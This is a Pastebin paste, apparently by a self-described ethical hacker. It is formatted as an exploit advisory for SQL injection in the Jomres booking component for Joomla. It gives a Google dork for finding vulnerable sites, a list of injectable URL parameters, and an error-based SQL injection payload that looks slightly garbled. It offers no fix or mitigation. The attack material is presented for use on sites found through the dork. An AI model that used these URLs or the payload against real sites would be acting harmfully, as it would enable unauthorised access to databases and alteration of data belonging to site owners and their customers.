yadav2152003s

Joomla Sql inj exploit || Shubham Yadav Ethical Hacker ||

Feb 14th, 2019
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.04 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla Jomres Components 9.16.1 SQL Injection
  4. # Tested On : Windows and Linux
  5. # Category : WebApps
  6. # Exploit Risk : Medium
  7. # Google Dorks : inurl:''/index.php?option=com_jomres''
  8. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  9. Special Elements used in an SQL Command ('SQL Injection') ]
  10.  
  11. ####################################################################
  12.  
  13. # Description about Software :
  14. ***************************
  15. The Complete Online Booking and Property Management Solution.
  16.  
  17. Jomres is the first and most complete online booking toolkit for Joomla.
  18.  
  19. Jomres is the most powerful, commission-free Joomla and
  20.  
  21. WordPress online booking system and property management solution.
  22.  
  23. ####################################################################
  24.  
  25. # Impact :
  26. ***********
  27. Joomla Jomres 9.16.1 component for Joomla and other versions is prone to an SQL-injection
  28.  
  29. vulnerability because it fails to sufficiently sanitize user-supplied
  30.  
  31. data before using it in an SQL query.
  32.  
  33. Exploiting this issue could allow an attacker to compromise the application,
  34.  
  35. access or modify data, or exploit latent vulnerabilities in the underlying database.
  36.  
  37. A remote attacker can send a specially crafted request to the vulnerable application
  38.  
  39. and execute arbitrary SQL commands in application`s database.
  40.  
  41. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  42.  
  43. An attacker can exploit this issue using a browser.
  44.  
  45. ####################################################################
  46.  
  47. # SQL Injection Exploit :
  48. **********************
  49.  
  50. /index.php?option=com_jomres&Itemid=[SQL Injection]
  51.  
  52. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&tmpl=component&task=[SQL Injection]
  53.  
  54. /index.php?option=com_jomres&lang=es&task=viewproperty&property_uid=[SQL Injection]
  55.  
  56. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&task=viewproperty&property_uid=[SQL Injection]
  57.  
  58. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&task=ajax_comentarii&Itemid=[ID-NUMBER]&property_uid=[SQL Injection]
  59.  
  60. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&task=ajax_comentarii&Itemid=[ID-NUMBER]&property_uid=[SQL Injection]&tmpl=kiss&lang=us
  61.  
  62. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&lang=es&task=listProperties&propertylist_layout=mapview
  63.  
  64. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&lang=nl&task=dobooking&selectedProperty=[SQL Injection]
  65.  
  66. /index.php?option=com_jomres&tmpl=component&jrajax=[ID-NUMBER]&no_html=[ID-NUMBER]&Itemid=[SQL Injection]
  67.  
  68. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&lang=es&task=showRoomDetails&roomUid=[SQL Injection]
  69.  
  70. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&lang=en&task=viewproperty&property_uid=[SQL Injection]
  71.  
  72. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&lang=en&task=showTariffs&property_uid=1&op=[SQL Injection]
  73.  
  74. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&lang=en&send=Search&calledByModule=mod_jomsearch_m0&town=[SQL Injection]
  75.  
  76. /index.php?option=com_jomres&Itemid=[ID-NUMBER]&tmpl=component&lang=en&task=showRoomsListing&property_uid=[ID-NUMBER]&op=[SQL Injection]
  77.  
  78. /index.php?option=com_jomres&page_id=[ID-NUMBER]&tmpl=jomres&lang=en&task=viewproperty&jr_printable=[ID-NUMBER]&popup=[ID-NUMBER]&tmpl=jomres&property_uid=[SQL Injection]
  79.  
  80. /index.php?option=com_jomres&arrivalDate=&departureDate=&ptype=[ID-NUMBER]&guestnumber=[ID-NUMBER]&calledByModule=mod_jomsearch_m3&Itemid=[SQL Injection]
  81.  
  82. /index.php?option=com_jomres&town=Esfahan&guestnumber=0&send=Recherche&nodates=[ID-NUMBER]&calledByModule=mod_jomsearch_m1&Itemid=[SQL Injection]
  83.  
  84. # Example SQL Injection Exploit Payload :
  85. **************************************
  86.  
  87. 82' AND (SELECT 8845 FROM(SELECT COUNT(*),CONCAT(0x716a6a6a71
  88. ,(SELECT #(ELT(8845=8845,1))),0x716a717a71,FLOOR(RAND(0)*2))
  89. x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--
  90.  
  91. ####################################################################
  92.  
  93. Please Follow Me On Instagram: @shubhamyadav2468
  94. ####################################################################
Add Comment
Please, Sign In to add comment